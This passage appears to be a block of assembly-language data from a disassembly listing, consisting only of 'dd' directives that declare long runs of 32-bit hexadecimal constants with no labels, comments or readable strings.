		dd 6FBF5626h, 7D366D68h, 20224541h, 272F2187h, 2B228A00h
		dd 336DC528h, 92CD79CEh, 5F3F3520h, 6B2139C8h, 0C06B3B3Dh
		dd 1CCA2C0Eh, 2631E21Eh, 3BB52523h, 0DC1A7EBBh,	3493442Bh
		dd 8B30306Fh, 724C2C6Ch, 3B5C3837h, 3D3D1C72h, 1F57182Ah
		dd 21D9171Fh, 0F5302327h, 40450872h, 4E0C452Ah,	541E4B43h
		dd 1551734Ah, 1B185419h, 3553D88Ah, 1C6B501Eh, 6C3B38h
		dd 4472204h, 4445061Bh,	58AB0448h, 160F5A55h, 35F11217h
		dd 11464373h, 1C483BF8h, 793EE103h, 11247496h, 1B1080DCh
		dd 0E7D43B2Ah, 3427253Bh, 8FAC7F29h, 8B2FCFBAh,	0F1BDCA74h
		dd 3BAAFA66h, 333FF13Ch, 4E1C971Bh, 0DCA7EAF7h,	0E2A6DB33h
		dd 7C553A23h, 0A52DDDA0h, 35D96029h, 0D2CACAB8h, 723930BCh
		dd 0AC3832B2h, 18A71B3Ch, 0E000AEBEh, 8045020h,	46286306h
		dd 0A42584Fh, 31580F5Ah, 15514553h, 4A747B72h, 5F363B36h
		dd 7AB9F93Bh, 0A6707171h, 2026A245h, 454E7213h,	6F2F4A4Ch
		dd 322EB68Dh, 40461719h, 18183434h, 45594F1Ch, 1A0FDF49h
		dd 7F5E1D3Ch, 0CD1E3021h, 2D05FE65h, 2B52A1A8h,	9D183E2Dh
		dd 33720E41h, 6135E459h, 3FEA3949h, 0BF3E4C5Dh,	6A487009h
		dd 2255571Fh, 0AB2550A1h, 87B12853h, 5E8E2C5Fh,	0CA39A52Fh
		dd 0A7D531A6h, 7AD19E32h, 0BF39593Bh, 0FD88B1FBh, 2BFADC1Eh
		dd 222EFE3Ah, 0DF1C2DFBh, 0C826F054h, 3BEA2FDFh, 0C854B26Eh
		dd 0C66BDEC9h, 34982E7Eh, 3C4449D7h, 0ED1D6E7Ah, 73F350D0h
		dd 603F13B4h, 0BE7B5641h, 0A153881Ah, 0A1DE3E06h, 0B77202h
		dd 0A8340DAAh, 81B3A79h, 0E9F61BC8h, 66DDDF6Ah,	47359484h
		dd 215FAC29h, 2BBA2ACCh, 0F8808C14h, 46DE672Ch,	0C4C40960h
		dd 56EE9954h, 0F601BA6Ah, 0A41605Dh, 0DA01A0A8h, 0E27929C4h
		dd 2C64F8C3h, 3303028h,	1214C575h, 0B3A79DFh, 0F6E0D7Ah
		dd 2C942A46h, 13C22DCAh, 17D011C9h, 1A0E1427h, 1E7A181Eh
		dd 2401C4Ah, 695004Bh, 0DA60346h, 8A40E5Bh, 29AB0A96h
		dd 15D22BA8h, 11F817F7h, 1F25105Dh, 1B3B1D20h, 7E21965h
		dd 0C660A3Fh, 12310E51h, 0E03DBA3Eh, 6839BB68h,	9AD01B9Dh
		dd 25A39D26h, 21A38CE4h, 2DAA212Dh, 6128A89Eh, 97983271h
		dd 76A13671h, 387FAF3Bh, 6D3D7CDCh, 371E5993h, 58226016h
		dd 73572766h, 6F452B66h, 2D6C9728h, 36327571h, 358E3E99h
		dd 743F5110h, 8E3B2C6Ch
		dd 9815423Ch, 0CA778F68h, 2F4E2BA2h, 0F1F832D9h, 0BC15226Ah
		dd 900DA428h, 5518823Dh, 0CBB3E026h, 0BE383B8Ch, 0DC1BFFC0h
		dd 1F0FE6AEh, 242C5D01h, 2828262Ah, 2C242A26h, 2D42E22h
		dd 0BD57A159h, 0BB333610h, 6A233AD5h, 713E3E57h, 131E7719h
		dd 67AF284Ah, 274C3100h, 7BDBA22Eh, 0D0605BC4h,	0F7B1CE30h
		dd 0FFBD632Ch, 1F7E39FFh, 0D73A3D14h, 1E1C5089h, 7225E63Fh
		dd 574D9D75h, 2B296C27h, 0D1671CC3h, 0BBCEA0D0h, 70F23075h
		dd 3E39D83Fh, 0BC63FAB0h, 101C1D4Ch, 0CDA3573Eh, 25F4232Eh
		dd 790A2727h, 729DC32Ah, 39BBD0D1h, 116093BFh, 396A663Eh
		dd 0D0BCB91Eh, 0A51BB4BCh, 700F3A51h, 2024A270h, 2FA77355h
		dd 0E2A02E7Fh, 3020AE7Fh, 343C323Eh, 3838363Ah,	33C43A36h
		dd 143F313Dh, 101E121Ch, 2C222E20h, 0D8262A24h,	2B252927h
		dd 2F212D23h, 333D313Fh, 3739353Bh, 343A36C7h, 303E323Ch
		dd 111D131Bh, 2D212F1Fh, 262ADB23h, 2A262828h, 212D2C24h
		dd 67313F2Fh, 2011890h,	2CE80408h, 0D020C6Dh, 9DA2F63Bh
		dd 76E52410h, 492CAA44h, 29690302h, 958A20Ch, 0B43F070Eh
		dd 2C5431C1h, 6D7A13B2h, 0FB0739BAh, 8AB194Ah, 703E4A69h
		dd 5E73240h, 5F27506h, 2C937D25h, 782C2E00h, 353371B9h
		dd 4830283Fh, 0C033B6Ah, 10613D3Dh, 31B6518h, 103E2049h
		dd 2C522624h, 372F152Ch, 19202C53h, 38B83230h, 39332B30h
		dd 23438ADh, 349E3E3Ch,	1018021Fh, 1E2F21B4h, 2D932723h
		dd 220D3623h, 0DE0C9523h, 0C8BAF077h, 979E38C0h, 3BDB3EA5h
		dd 0B7357EB2h, 1DFE0E89h, 2E7F193Dh, 0DA7B6824h, 2DD95159h
		dd 25C0A82Ah, 6EB018CFh, 0EB42003h, 3455DF3Eh, 0B625176Eh
		dd 4C7A0F78h, 66940429h, 64372219h, 2CAB5227h, 0DEBEE0Dh
		dd 6B727072h, 39BAB255h, 0FCB63235h, 83AFAF9h, 7D583AFFh
		dd 0FF787C58h, 480DC90Bh, 0C806604h, 7801892Ah,	48E742Dh
		dd 3A7372FBh, 0B3BF0A55h, 2E3A7D1Ch, 7DA2BFB5h,	0FD68F41Fh
		dd 4D08DFE2h, 0B2AE2669h, 2A889CAAh, 0D12C7B21h, 683061A6h
		dd 0C2359583h, 3B6D3897h, 0E03C6BD2h, 0CE1D4C6Ah, 76E81E49h
		dd 24739E23h, 287F7294h, 0B12D7C8Dh, 66A12E79h,	6261B533h
		dd 386F4C37h, 583D6C4Ah, 49413E69h, 77501F4Ah, 25616620h
		dd 34266405h, 79332B6Bh, 723B2F6Fh, 35712230h, 30367439h
		dd 803A786Ch, 0D94718FFh, 1E5CBDBCh, 226074B8h,	0B72767B0h
		dd 89A6286Ah, 8D7BA52Ch, 3390B530h, 4B3697B4h, 6E76399Ah
		dd 9D1E3D9Eh, 1EBF381Bh, 26318237h, 822531DCh, 0A1282AFFh
		dd 2EFE94E3h, 0C5215262h, 30DFF5D2h, 0B331F9E6h, 330F396Dh
		dd 7D1E0B6Eh, 7E74CF48h, 73A07E7Ch, 0D64CB072h,	2D23D47Eh
		dd 313F2F21h, 353B333Dh, 39373739h, 32C33B35h, 131B303Eh
		dd 0D262111Dh, 0D0508021h, 45CF3F25h, 0D8972ADBh, 0D835662Dh
		dd 3133C06Ch, 2337C53Dh, 0CE76D22Dh, 1BCB703Dh,	5A23F500h
		dd 0D7B521D2h, 0ACE3824h, 0BACA29DAh, 0C7302DD8h, 1A32C32Dh
		dd 1F36C63Dh, 0C937D127h, 3FCA4F3Ch, 1E1CF43Bh,	25550023h
		dd 676322ABh, 0D95C62A7h, 2F2D2AEDh, 8D9A01EBh,	332B8940h
		dd 82952682h, 5CDF8E25h, 8202A4E8h, 9530830Eh, 0BA1633BAh
		dd 2282836h, 285C236Ah,	8D276F7Eh, 0DBDB2470h, 7A2F7549h
		dd 6228D83Eh, 1AF36035h, 21BEB7DDh, 29DC86AAh, 28D223C4h
		dd 8ED62A88h, 0B12A282Dh, 0F8260D31h, 0FDA797F9h, 6A3A3839h
		dd 28D76E6Ah, 2F5E080Ch, 0D310615Ch, 52D01F45h,	30A2422h
		dd 8F0DED78h, 0BA335B31h, 0DF22054Ah, 535E256Eh, 0B5D68846h
		dd 0D6181FFAh, 0CA2C3DD9h, 8421A7EEh, 2620AFD7h, 2AEE95C3h
		dd 6332300Fh, 0DE3E30F7h, 0E23DFB92h, 2A3735FCh, 19DF8AD7h
		dd 2829D816h, 0E6615ECAh, 2DEF1F22h, 0EC45C322h, 1574632Ah
		dd 3230375Ah, 303B6FDEh, 2BBF6AC2h, 1BBB3E2Bh, 7D6C3B46h
		dd 241C2721h, 2927191Ah, 1F1B1A1Bh, 682B2E6Dh, 14313261h
		dd 38370634h, 3C7E773Dh, 0B07073Fh, 4B501F1Ch, 231721C0h
		dd 450BA526h, 2F2A4049h, 27084D01h, 93514743h, 4743182Eh
		dd 9AD2395Ch, 3E8E3F5Ch, 0F6E9F5F2h, 22B1DFE0h,	263AE823h
		dd 2A362838h, 312D33D4h, 2D312F2Fh, 29352B33h, 25392737h
		dd 3E22C33Bh, 1D031B20h, 212F1F11h, 252B232Dh, 26D72729h
		dd 222C242Ah, 3E30202Eh, 3A343C32h, 34EC3836h, 0FCCCB83Ah
		dd 1C30D63Ah, 2F321D26h, 23C230Eh, 28383E2Eh, 3F821593h
		dd 0A493A097h, 0AB323131h, 0FB8B3636h, 2C953AADh, 183FB0B3h
		dd 0F71CA31Dh, 2423A893h, 2127456Ah, 298CC129h,	432BC02Ah
		dd 3434B3A9h, 0DEF7BC58h, 3B9FCA3Ah, 0FF0DF5B7h, 0ED1EFD98h
		dd 99AA8487h, 33252BA2h, 48A96BE1h, 2B6EEB2Bh, 71F7342Fh
		dd 3735143Ah, 3B337BF1h, 0A43D3739h, 5636983Eh,	3722359Ch
		dd 13A2F3A9h, 401A767h,	2C2EF1DEh, 715803ADh, 5A393232h
		dd 0DA5E3632h, 3968BA3Ah, 6C7A609Eh, 372C416Dh,	7D2AF0EBh
		dd 40780FA4h, 3C4B190Ah, 532E6E9Ah, 405D5DB1h, 5E5B5947h
		dd 0FCB902F9h, 7453101Fh, 9E7D747Bh, 514D6137h,	43525664h
		dd 2C1B07AFh, 390F03BDh, 25303370h, 0BC203E87h,	39D6742Ch
		dd 123E5EBEh, 1A4DEC5Eh, 2D218EF7h, 0E9DE77Ah, 3FA88528h
		dd 0AC013CA3h, 20B2B93Dh, 0B427B653h, 0B72BB354h, 0B0D4E076h
		dd 8D162CBEh, 0EF66119Ch, 0A9A9AE32h, 0DE862DBh, 0A024EB41h
		dd 0A1315BA3h, 30A01937h, 62FCDF23h, 38AC4C3Ah,	9F097DEEh
		dd 3C080618h, 1807B6ADh, 9A702105h, 9CA2C233h, 0F8A42E2Eh
		dd 0F23384DEh, 1CA712B1h, 3C2D3839h, 0E4328ED5h, 0D1954DE3h
		dd 28B9C920h, 0ABABDADBh, 2912390Ch, 16412F2Ch,	0AB7084Bh
		dd 810FB934h, 0E6038401h, 6D33D05h, 25B926BBh, 1B011C1Dh
		dd 0C919C01Fh, 17153D37h, 9F10582Bh, 40CDE12h, 87D940Dh
		dd 6A400653h, 7CADE534h, 2106FB3Eh, 11131C1Eh, 4C241355h
		dd 0D01EB010h, 1D5E041Ch, 0C6701D2Fh, 0F32D2234h, 0C030C8A9h
		dd 23A0432h, 5C1D0038h,	1E11DD5Dh, 1B26E06Dh, 17231921h
		dd 7C21522Dh, 926BA06Fh, 3732CB39h, 7330133h, 7CA53F4Bh
		dd 1D003802h, 192B1B23h, 25026462h, 0E36F425h, 224A162Dh
		dd 0AF104D76h, 5B7F1910h, 7D3431A4h, 53073B3Bh,	3D3AB196h
		dd 331F1F21h, 0E23F04DEh, 4E759C3Eh, 82A0957h, 7FEB0F5Fh
		dd 7735844Bh, 41ECF6ECh, 0B1C6C7CBh, 7FE03117h,	90A7B3Dh
		dd 7172AF7Fh, 63647220h, 2EBA3706h, 6E0E752Eh, 0B9AEC7E0h
		dd 35862032h, 0FD4E3229h, 59FC3362h, 5C3F73BEh,	17F7484Eh
		dd 902B01D0h, 29374A01h, 2823D4A8h, 0BF5EEE3Ch,	5F533180h
		dd 0A94312A9h, 34783878h, 9C3E7C00h, 2E1F5D80h,	0CB16C171h
		dd 2EB63521h, 2F3BAA96h, 0BAE69A1h, 0FCB96128h,	449792DCh
		dd 6FB73178h, 2FB72918h, 0E084E19h, 31A17B1Eh, 3227C473h
		dd 6A0811CFh, 5AEDA87Ah, 76328265h, 34B46DADh, 68B848DFh
		dd 0CF093CCAh, 1C1C1B3Fh, 2954DF9Bh, 2D2533A9h,	91203770h
		dd 432D45C3h, 479A292Eh, 0D15A3436h, 39DC5136h,	953CD964h
		dd 0F898D686h, 20FB501Ch, 8E23C667h, 1E27C21Bh,	28052ACDh
		dd 3F2E0822h, 3B315A03h, 636883EBh, 0C4833A3Ah,	0B5393C10h
		dd 0ACBE1B1Ah, 226681C6h, 62CBCC1Fh, 0C27AA129h, 4A2F68CEh
		dd 3272E6D9h, 0F5E68D00h, 31F7B632h, 50873137h,	0BD111A5Eh
		dd 0CB0727FAh, 0AB2923BBh
		dd 0A8252FB2h, 2F5A202Ch, 33221823h, 211A763Fh,	92B4B53Bh
		dd 75053CD5h, 59199B94h, 0C9AC5F1Fh, 24B218Ch, 0E2C01780h
		dd 6F6D880Eh, 0A114A352h, 3A713032h, 3B834C4h, 8B747BEh
		dd 1D19E43Ah, 61777699h, 4CF5DD34h, 7227C269h, 242BCE05h
		dd 276C2ECEh, 29387675h, 3882DE99h, 0FB2FDB31h,	1BC03C3Eh
		dd 28D5191Ch, 14F916F4h, 1F4C1D7Bh, 13551152h, 17BD15A1h
		dd 0B8B0997h, 0FEF0DF7h, 22101D6h, 66E041Dh, 276F2577h
		dd 1B971982h, 1FF61DE6h, 13DE11FEh, 1421162Dh, 9680B7Ch
		dd 0D440F58h, 1BD034Ch,	5FF07A5h, 5F3120F7h, 0C9371D1Bh
		dd 87262117h, 312A2271h, 2F2E0EC2h, 39322A42h, 3421DB2Bh
		dd 3E1C7334h, 0BEB22FB7h, 0BC4B3DBFh, 0C805061Fh, 0C688F495h
		dd 6E072A52h, 0E3F520Dh, 302C1155h, 342C5F0Eh, 3820362Ah
		dd 9E606B99h, 254494B8h, 208B23F4h, 27221ED7h, 9F272527h
		dd 1B222A28h, 1F761D19h, 22E01C1h, 6120414h, 0A6B0810h
		dd 0E9C0C51h, 2FDD2DB1h, 13F611CEh, 146B1612h, 18ED1AB6h
		dd 1CF21EE1h, 13402C6h,	59A073Dh, 0E3C0BE6h, 373C087Ah
		dd 0D51238B1h, 7700DD05h, 6F2D25E7h, 432D2E22h,	0AC2C4B32h
		dd 38309E35h, 95F7DB60h, 33313014h, 0E26A323Ah,	79B09FEh
		dd 5A049676h, 0AB212B28h, 7642F21h, 252B3168h, 3A54C67Ch
		dd 34387838h, 7D6A13Ch,	76807AFh, 6F3B6BFAh, 24165D01h
		dd 0A03555E7h, 52271DB4h, 3F3AD93Ah, 6F2AED93h,	68F5BA6Dh
		dd 72B607BDh, 111A4B52h, 0BC906A4h, 280E2C19h, 4C21AD1Dh
		dd 71244E33h, 0A217A172h, 0BE2552A2h, 1701D8B7h, 4239A217h
		dd 5A2C983Dh, 0BB3C3EE3h, 159EB8FFh, 3D54111Eh,	0A54BA74Ah
		dd 2C420F01h, 45212B7Ah, 4D86D2Fh, 0CAC99B32h, 0B02CF3B5h
		dd 0D64C937Fh, 3E21BF0Eh, 0A4BF249Fh, 0B027281Bh, 3AA7461Fh
		dd 0A133EEAAh, 240B624Dh, 243302D9h, 3B3719F5h,	0DC1FBEB1h
		dd 493C743Dh, 86CFC16h,	22D22508h, 418D75D7h, 228A8383h
		dd 1F396D68h, 0A3626064h, 37A67D34h, 73AAB78h, 7B3EADE9h
		dd 8E491C89h, 23F20C1Fh, 0ABAD2253h, 29880CA3h,	7E7F7C7Ah
		dd 3275702Bh, 6060CB37h, 3EA14836h, 0AE3C6AB3h,	4B191A6Fh
		dd 0D121BA86h, 2482E301h, 91298696h, 5D2A8A81h,	3317EC2Ah
		dd 0C5363636h, 0C16A3537h, 0A6383939h, 195B3809h, 65343E1Fh
		dd 542D4220h, 68672760h, 99632F28h, 717F2E6Ch, 0B16931h
		dd 0CB902BDh, 89B0EA2h,	2F890A90h, 2BEC29A2h, 162E15D8h
		dd 123C1035h, 1E871C08h, 199C18F7h, 5E4078Ah, 1D803E8h
		dd 0C6C0FCCh, 8ED0A84h,	26A924B2h, 1AFD18C9h, 1ED71CC5h
		dd 132E10DBh, 17EB1542h, 0B2320B09h, 72DD1033h,	3ABBF1CBh
		dd 0BDCED46Fh, 0F558073Fh, 65209CF4h, 25A7C2CAh, 0F1C0631Ah
		dd 0C5002BA9h, 5B30AFE1h, 655C376Ah, 38AAB187h,	3E3D3AE7h
		dd 1A43572Ah, 22BCD31Ch, 0AF45CA15h, 28A54CF5h,	9539EAE9h
		dd 0BD252F2Dh, 0DC6B02BCh, 0A43BA78Eh, 7F1B4447h, 1C1F7EFDh
		dd 1B0ED9F4h, 242E5001h, 97242526h, 89C2192Dh, 632C9CC5h
		dd 3B312914h, 0A1341539h, 2A2DD1EDh, 239E3F21h,	1DCC98DDh
		dd 66C92E27h, 26F52EE1h, 41C13E96h, 7B7E1C6Eh, 8B316779h
		dd 536340Ch, 3A45B5F7h,	7AFB051Fh, 1C1C231Bh, 478BECDEh
		dd 25A0A889h, 393A2744h, 0B04CC37Ah, 15BC532Eh,	33B53276h
		dd 251C73BFh, 0C73D36Bh, 38A737BFh, 0A0179F51h,	31F811A6h
		dd 0A9332D25h, 23030EA1h, 346FA5A8h, 4165D607h,	0D061264Eh
		dd 6A5F3BC9h, 1BB44D48h, 945F1152h, 2F6CA8E1h, 0D8D918A4h
		dd 7A5F56D7h, 0FF28752Eh, 6B3732D0h, 68DE633Bh,	6A5C3AC8h
		dd 0B42A6ADDh, 0C6361045h, 7CA87777h, 0E61BB527h, 68604924h
		dd 0EF2F2C6Fh, 2076014h, 34340FE1h, 5F391870h, 4E5E684Fh
		dd 7F7D136Bh, 4867AF72h, 75484B52h, 40584656h, 0EFF31699h
		dd 52F0462Fh, 405B7059h, 1968D758h, 58787B0Dh, 796F5A52h
		dd 0B57A24FDh, 0D5E27E51h, 0A3257524h, 0AE0B3A61h, 78A43E2Dh
		dd 41FAB725h, 0C7DFB225h, 6CB010F9h, 8ABFB715h,	2C1CF61Ch
		dd 274877DFh, 0E7152577h, 6B31BC40h, 782E2C2Ch,	3F74B860h
		dd 17B6B3BDh, 2EC53A38h, 0C7305C64h, 6D91C98h, 5CA8DF9Ah
		dd 7A905027h, 7B79E946h, 304727E8h, 0B231D407h,	9635549Ch
		dd 3A7D042Fh, 0B25D3F35h, 6E7CA47Fh, 0A27FDF81h, 0A670E72Eh
		dd 0A83EDA2Bh, 0BD2F7FC6h, 0F5912D2Eh, 0FD397B50h, 992937F7h
		dd 9D3D3B34h, 4B4DB3DCh, 4538E94h, 6437AA2Dh, 874CBC06h
		dd 192096Dh, 0B16B4982h, 6760815Ch, 87D43BD5h, 6C6F3653h
		dd 195F13D5h, 5B811F48h, 263228C2h, 72E72620h, 2428262Ch
		dd 2D23522Eh, 32CD798Fh, 36C934CBh, 3ACB38C7h, 38CF3CFDh
		dd 0D72E0D91h, 0B3313097h, 4BC52121h, 3A313AABh, 5B2FD4A8h
		dd 71A12A35h, 0B63D7513h, 0FFB26735h, 0B76062ABh, 2E19CE2Eh
		dd 0DE211DF3h, 0BF4B23C7h, 29272729h, 63F32B25h, 7FD03C5Fh
		dd 274488FCh, 2BDD2412h, 3AEC6433h, 4A7974FDh, 265E515Ch
		dd 0C3290B2Ah, 0EFE0ADBAh, 292B966Ch, 56102C8Eh, 3432322Eh
		dd 0F9855466h, 0C3BEB8B9h, 7BABBA32h, 17AD1D05h, 0A3A8A52Fh
		dd 53D9DB1Eh, 15A92960h, 0A206582Fh, 631A3576h,	3C77E4DCh
		dd 0E033D8E0h, 69563149h, 0E11F479Ah, 2220540Ah, 53E5A130h
		dd 0BA3CD707h, 0A5242C2Ah, 37DFB3DFh, 2D75EAC4h, 38DFBBC1h
		dd 0B75B3F7Dh, 7F1C2B2Dh, 0A720DC40h, 31E4A62Eh, 522E3652h
		dd 73572902h, 0F1EC1CEDh, 3BB4386Ch, 3DA910B7h,	1347393h
		dd 1C11A21Dh, 0C1E69C1Eh, 27232921h, 2683A921h,	0A42D4A00h
		dd 70218ADBh, 7C3630B1h, 1937B66Eh, 3CDA6A37h, 0FF67301Dh
		dd 0FB437D1Ch, 23C24920h, 20063A66h, 0BB2D0CC8h, 0B7290C79h
		dd 17923614h, 37D29D31h, 3BDEF488h, 37B51884h, 1094189Bh
		dd 5528055Ch, 70CD740Fh, 0F2D9288Bh, 6EED3773h,	313C1240h
		dd 221D5060h, 5A35D033h, 69C5B713h, 0FC1FC9D7h,	0EF5B3C14h
		dd 2ECC7472h, 0D6D7A7B8h, 0C5F4A07Dh, 11314F92h, 0DD2CBA65h
		dd 139D682h, 3D3C7F6Dh,	67A1D73Fh, 6C94E1E0h, 0AF2B0621h
		dd 0A14378E3h, 282B2A24h, 0F33FEAAEh, 2832FEA1h, 0C9BC6035h
		dd 0C1BD8AD1h, 5FC9C13Dh, 6B1F1538h, 0CB742129h, 2526E8B9h
		dd 2FA8EDABh, 2BECA52Ch, 3DA23030h, 573674B4h, 0AA16BFB3h
		dd 555BC815h, 1EF8FB37h, 0FB0D4372h, 0A4624C6h,	1A29C8ECh
		dd 0F50210Bh, 341EB629h, 16B7326Ch, 37083C04h, 3E982DB6h
		dd 0BE9EF25Fh, 2196AB1Eh, 25AAE2A3h, 4C5CCE25h,	0A6D3D72Ah
		dd 0F0B1DF63h, 0F534368Eh, 8B1F3750h, 0D5983BB7h, 5C36BDA7h
		dd 2A1F843Eh, 950063B0h, 45A52525h, 0F1B8F9Dh, 130B25D7h
		dd 1F1D52D7h, 1D009716h, 9103BA1Ah, 5BC41D14h, 133D3804h
		dd 623D20C0h, 412CC2Ah,	36AD666Ch, 0A07C1DFCh, 0A12FB32Dh
		dd 0F1DEF5F3h, 2A3AF9E6h, 0D338FA35h, 1797160Ah, 0BD28BFE4h
		dd 2FBA802Ah, 2ECD21B6h, 279C2A4Bh, 41B48146h, 503D1C9Fh
		dd 33FD38F5h, 3EFF5762h, 0DF50105Bh, 21E10E1Eh,	0CE1B31D2h
		dd 785A27F6h, 1613F93Ah, 3BF13ABEh, 666F390Bh, 63792976h
		dd 19667E6Dh, 465C3553h, 391EDE98h, 276B2224h, 72A72D51h
		dd 8AEB2B29h, 0DBC70EA6h, 7DDE0133h, 6366377Ch,	67F6663Dh
		dd 0FF057F84h, 1EFE1B31h, 16627A98h, 272908CEh,	290C603Fh
		dd 44AA0B6Dh, 0B7DA3790h
		dd 10AC31C5h, 2BC8185h,	27563F68h, 6ECBEF3h, 173A62D0h
		dd 726AB03h, 7E1AAE21h,	647080Fh, 38D96C7Dh, 4E54801h
		dd 5A23AA0Dh, 4C8C233Ch, 0AF4D534h, 123919ECh, 0BE43530Ch
		dd 2C9D6E52h, 7D299B1Ch, 242C5103h, 0F5F71DDAh,	1B358320h
		dd 3DCC883Dh, 970BFF0Ch, 30733A91h, 797D7D20h, 0A1437DB5h
		dd 0E88A4A24h, 0E12FCE45h, 0BBBE9B60h, 714087B0h, 2A9B33A8h
		dd 0BDF752Bh, 4E41484Ch, 71EDAA05h, 97AFCD40h, 5BD2A25Ch
		dd 22E3926h, 432A5210h,	0AB603F3Ch, 36ABAEC7h, 362D3BBCh
		dd 96D739Eh, 52248118h,	15BFE429h, 0EEAA77E7h, 0AEFD38D5h
		dd 1EBE304Dh, 363A343Ch, 83063838h, 6D08DC32h, 0D237B6Ah
		dd 0B1134848h, 6DDB10F9h, 0EA13B897h, 2CACB4F9h, 31452E78h
		dd 37F4B03Ch, 33AF1B5h,	0DD49F03Ah, 19F0FF0Dh, 0A3DF0E06h
		dd 2E43DDF9h, 20D8734Fh, 8CF38E3Ch, 0C20CE1Eh, 33463239h
		dd 3048B553h, 79334E36h, 0DB7F01B6h, 6AE52608h,	0DEA92358h
		dd 2C454204h, 22B223F7h, 26B13E04h, 53DA38A1h, 0A75E22F4h
		dd 4FCA2805h, 0FF2F73B1h, 1A1D0812h, 8227E7F7h,	17BF3611h
		dd 231835h, 28E22B23h, 37413024h, 0CB6B71DBh, 0FACF3AC8h
		dd 37493D2Ch, 8361F369h, 6107CDAAh, 28310026h, 7838CE25h
		dd 0ED342A2Ah, 0F22C2D2Eh, 41BD66A2h, 185E1712h, 0C22E38FAh
		dd 1FDBAB2Bh, 0DF9FE69Eh, 0DB761B54h, 2AE78630h, 17F91929h
		dd 0B90A5BEFh, 0BF473264h, 65694678h, 0B57B3EB4h, 303BDEFCh
		dd 96071DDDh, 0A6673530h, 1EA4A587h, 2A9A3DA8h,	74707271h
		dd 9F697CFAh, 4357B584h, 2D3A7FB8h, 0C72A7DE0h,	968E333h
		dd 0E28122DFh, 26E5A121h, 0E2AA2D52h, 0A5EE72D4h, 0B93D70EFh
		dd 7334BF3Bh, 3A36F550h, 682DD0B8h, 1C761D55h, 61227512h
		dd 89A4E35Dh, 7E12BCEh,	43AC146Bh, 0BA600B5Bh, 0B8387532h
		dd 68682378h, 3B8839D2h, 2F92393Bh, 80444042h, 95CB75E2h
		dd 7E6E640Dh, 734FB42Fh, 6B906F73h, 0F432F2F2h,	32306D07h
		dd 328C6706h, 77B46B0Ah, 491E1138h, 2361CCA5h, 0E7A32525h
		dd 0D47A2E56h, 0F3AEA539h, 0FDB93032h, 0EDB636DCh, 2BF9671Ch
		dd 0FFE5D524h, 1E59EA22h, 5620283Bh, 8BCD722Ah,	2A28D327h
		dd 2AE9AF2Ah, 6CF7F0A4h, 373530F1h, 22BB0CB8h, 38FA2DEBh
		dd 0BE049463h, 0B438431Eh, 0A46F71A2h, 2C68EA74h, 632CA5A0h
		dd 0F0A6A50Ah, 74C85B62h, 206A6608h, 0FFC86A3Eh, 295F0FBDh
		dd 1CDCEFF5h, 3223DDDEh, 546719E4h, 0C5072CA8h,	72270BC1h
		dd 0F83BF405h, 3E363EF5h, 0D43F33F1h, 0AB3BFE85h, 967AF41Dh
		dd 23262105h, 362AE75h,	0DAA17F30h, 37C2AE2Ch, 57BBFDBBh
		dd 672A1510h, 3BE77CD0h, 2D1A69B6h, 520F192Bh, 6684204Dh
		dd 0CE712023h, 0E431290Dh, 2C6D202Bh, 3310E99Dh, 3E11783Dh
		dd 0B9883A69h, 0FC2D64FFh, 8D591C37h, 3DB2130Bh, 8520CB70h
		dd 77907832h, 593437E8h, 108E2631h, 1C158ECAh, 6C5C30C7h
		dd 3D6C306Bh, 4EF37F2Dh, 0AB0A0E1Bh, 482422D9h,	0B7B3255h
		dd 2D7B07A9h, 40C1C605h, 11DBB92Eh, 0D85F3A55h,	0DC693639h
		dd 23A15E17h, 4E1EDD3Dh, 62757272h, 26A2E283h, 0C32C28E9h
		dd 0D0D0593Bh, 0FDB90160h, 121695DCh, 0E3B03FF9h, 173D1D31h
		dd 635D191Bh, 540FC8E0h, 0ACDADA63h, 4A7277E4h,	4E0C3423h
		dd 0BB556E2Dh, 0F221B43Eh, 3B594117h, 780D2CF9h, 511CABEh
		dd 56AD1774h, 51613332h, 20982B01h, 6D29EB2Ch, 883E3F20h
		dd 3C340B30h, 3C4A0FCEh, 0D3D4383h, 744AF733h, 205B498Dh
		dd 0B534D22Ch, 56476485h, 7D23403Dh, 0B4C77935h, 380332F1h
		dd 38275C19h, 6B3B686Eh, 7EB6C7B6h, 0F957BECh, 1E442767h
		dd 4A530484h, 196D49A3h, 6FC268EBh, 7520D167h, 0B32BBE3Ch
		dd 0D7775999h, 0E32E68B1h, 7E4D4E4Ah, 0D4A4D094h, 0AD315123h
		dd 6FA41A70h, 63A06CC7h, 606060F3h, 36413650h, 4B57B3DBh
		dd 0DFD594Eh, 84E1906h,	4D20CE83h, 21FA0E92h, 456956B7h
		dd 1FD203EBh, 35FF0E2Eh, 371237F2h, 7D73BC7h, 727D2434h
		dd 5B3B4D3Ah, 3E4F7078h, 450BA4Dh, 80D067Fh, 0F9595F17h
		dd 32F0D96Bh, 36D63511h, 0D02EC10Fh, 3D087F59h,	13E09FDh
		dd 1E2D51F4h, 2AC410C0h, 831ECD3Fh, 372B2D01h, 2C09A7C4h
		dd 32367531h, 3720DD29h, 25891939h, 0CE068154h,	5C3990ADh
		dd 0AA26A0F3h, 967900BFh, 757BC026h, 9A45035Bh,	338D31ABh
		dd 93197A23h, 98AC3896h, 9EC0C03Bh, 1DBE913Fh, 21813BB4h
		dd 1924815Dh, 8B5C2787h, 8CE0812Ah, 3192462Eh, 6B3492AEh
		dd 35B23794h, 8F6F3B9Bh, 57F2E339h, 8C471E6Fh, 258161C8h
		dd 0A1F6F07h, 0C56FEE28h, 0A42F5C1Dh, 6031AD8h,	0AF7044Eh
		dd 0F71093Ch, 2F370DB2h, 2B0A2913h, 17641509h, 13A6117Fh
		dd 1F991DA4h, 1BE71996h, 60205C6h, 2470058h, 0EA90CB8h
		dd 0A98089Dh, 2BC829A3h, 17D515F5h, 1077126Eh, 125A1E41h
		dd 16821488h, 7D5B0896h, 127134BEh, 0B13B5203h,	0D63D6CCAh
		dd 0E2E3C2FBh, 8938DB9Dh, 45ECA874h, 11684736h,	2D4FCACAh
		dd 313C06A0h, 8C656330h, 7D495F1Eh, 5D472F5Ah, 1CD4BC48h
		dd 45393E2h, 5FAB05h, 28CF7AA5h, 0D3D4F828h, 1827274Ch
		dd 27531B02h, 56454341h, 0DD382A1Eh, 755B7E8Bh,	15D9AF73h
		dd 44293B20h, 25491726h, 34F2B47h, 2D414E1Dh, 7A613357h
		dd 1725D560h, 62186A20h, 747329EDh, 1C1DCD5Fh, 5676B25Ch
		dd 0A6706023h, 0F9647A1Eh, 2BC5E02Bh, 7631362Eh, 79B85417h
		dd 1ED16852h, 383D6FC3h, 0F9C7271h, 0CD22F764h,	0A2E226A2h
